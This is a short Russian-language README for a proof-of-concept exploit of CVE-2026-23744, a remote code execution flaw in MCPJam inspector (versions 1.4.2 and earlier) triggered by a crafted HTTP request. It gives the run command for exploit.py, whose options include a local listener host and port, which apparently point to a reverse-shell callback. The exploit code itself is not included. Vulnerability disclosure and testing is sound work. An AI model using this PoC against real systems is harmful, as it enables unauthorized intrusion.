CVE-2026-23744

Описание

MCPJam inspector — это локальная платформа для разработки MCP-серверов. Версии <=1.4.2 уязвимы для удалённого выполнения кода (RCE), что позволяет злоумышленнику отправить специально созданный HTTP-запрос, вызывающий установку MCP-сервера и приводящий к RCE. Подробности об уязвимости см. в ссылках.

Использование

Требования

$ pip install requests

Использование PoC

$ python3 exploit.py [-h] [--lhost LHOST] [--lport LPORT] [--rhost RHOST] [--rport RPORT]

Опции

-h, --help     show the help message and exit
--lhost LHOST  local host IP
--lport LPORT  local host port
--rhost RHOST  remote IP
--rport RPORT  remote port